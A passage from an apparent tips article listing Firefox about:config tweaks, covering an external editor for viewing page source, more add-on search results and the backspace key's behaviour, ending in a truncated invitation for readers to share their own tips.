8. View source code in an external editor

When you need to view the source of a page, it opens up in browser pop-up. Most developers would probably like to have that opened in their favourite editor instead of having to cut and paste. To do this, there are two entries to modify. Search for view_source.editor and you will see:
view_source.editor.external: change this to true.
view_source.editor.path: change this to the explicit path to your editor of choice.

9. Get more add-on search results

When you do a search in the Add-on window, you'll see just five results. You might find it more efficient to increase this number. Search for getAddons and you should see:
extension.getAddons.maxResults: change this to 10 (or higher, if you want to see even more).

10. Redefine the Backspace button

Did you know you can configure Firefox to use the backspace button to either go back a page or go up a page? This keeps power users from having to go back and forth from the keyboard to the mouse. Search for backspace and you will see:
browser.backspace_action: change this to 0 for previous page and 1 for page up.
Your turn
Do you have other favourite hacks you've discovered that make Firefox even more useful? If so, sharre